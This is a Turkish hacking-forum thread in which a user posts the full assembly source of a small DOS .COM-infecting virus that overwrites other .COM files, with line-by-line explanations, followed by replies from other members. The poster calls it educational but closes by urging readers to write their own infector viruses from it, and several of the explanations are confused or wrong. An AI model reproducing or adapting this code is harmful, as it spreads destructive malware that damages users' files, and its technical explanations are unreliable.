İyi kafa yapar ona göre Ehehe... Okulda başlangıç olarak göstermişlerdi. " Başlat => Çalıştır => debug " Bayraklar kesmeler... vs. vs.

Merhabalar, Assembly ile biliyosunuz ki en iyi virüsler yapılabiliyor bugün size kendi örneklerimden 25 satırlık bir kod vereceğim ve DOS/16-bit için uygundur. . COM dosyalarını siler derleyip kendinizde açmayın, derslerime eğitim ve ilgi çekiçi olması için ekledim eğitim amaçlı yazdım!! Kod bana aittir! Kod Kod: code segment assume cs:code ds:code org 100h start proc near mov ah, 4eh mov cx, 100h mov dx, offset infect int 21h mov ah, 3dh mov al, 2ah mov dx, 9eh int 21h xchg bx, ax mov ah, 40h mov cx, offset infect - offset start mov dx, offset start int 21h mov ah, 3eh int 21h int 20h start endp infect db " . COM", 0 endit label near scene " . COM infector | wardom. org | Assembly // Syntax-Life" code ends 1 - code segment'i kodu işaret ediyor ve veriler ds'de saklanıyor 2 - .com dizini 0x0100'den başladığı için org 100h 3 - üçüncü işlemde ise AH(8 bitlik acc'ye) 4eh ile arama fonksiyonu konuluyor. 4 -Sayaca 100 fonksiyonu verilerek dizine iniliyor burdaki veri offsetleri virus bulaşılmış offset adresleri olarak gözüküyor 5 -Ardından direk 21h donanım kesmesi ile DOS'a dönülüyor 6- ah'ye dosyayı açıp içine yazması gereken fonksiyon 3dh veriliyor. 7 - al'ye(bkz. google x86 işlemci mimarisi komutlar ve dallanmalar) ise dallanması için fonksiyon veriliyor 8 - dx ise veriyi üzerine yazmayı sağlayacak yani (80 + 1Eh = 9Eh) işlemi yapıyor 9 - bölge ile akümülatörün yeri değişiyor (nedeni tüm akümülatörler (8bitlik fonksiyon taşıyanlar) devreye girsin ve offsetler üzerinde işlem yapsın diye) 10 - fonksiyon al'ye atandı 11 - cx'de bölgenin offset adresi vardı tüm işlemler yapıldıktan sonra başa daşa dönmek için 100 - offset-start 12 - dx'de zaten başlangıç adresini tutuyordu =) 13 - kesme çağırılıyor 14 - işlem bitince dosyayı kapatıyor 15 - kesme çağırılıyor 16 - uygulamayı'da yoketmesini istiyor 17 - işlem bitiriliyor 18 - bulaşılacak dosyanın napılacağı bilgisi 0'lanıyor yani siliniyor 19 - sonra ekrana mesaj yazıyor Edit: tam anlamıyla düzgün bir açıklama yaptım -

bu programlar kafa yoruyor ciddende OSMANLI

Bende yarımım henüz, tamamlayamadık Teşekkürler syntax,

walla ben de bi giriyim dedim... giriş o giriş... girdiğim gibi kaldım

Bende öğrenmeliyim okulda ödevler falan birde uzun süredir ilgimi çekiyor ama bir türlü başlayamadım bana tavsiye edebiliceğin bir döküman varmı yada ne yapmalıyım...

tskler ılgıncmıs not defterıne kopyalamayı goze alamadım Root@

kafa patlatmak isteyen asm kassın

ya satır satır kod işletilirken her satırın ne yaptıgını comment geçseymişin çok süper olcakmış. Comment yazmanı tavsiye ederim çok anlamayanlar için açıklayıcı olacaktır...

peki bu COM dosyaları silinince ne oluyor...?bilgisayar açılmıyor mu yoksa başka bişi mi... bi de yarattığı sorunu çözmenin tek yolu format mı?... Ha bi de unutmadan zeki müren de bizi görecek mi?...

assembly öğrenmeye çalışacağım bakalım neler olacak

ii bizde assembly 'e baslayacaz işin icinden de cıkarız BİZ WARDOM LUYUZ

uğraşmak lazım yinede bilgi için saol

Açıklamalar düzenlendi açıklamalara bakarak kendinize göre yeni bir infector virüs yapabilirsiniz fonksiyonların açıklamaları yazmakta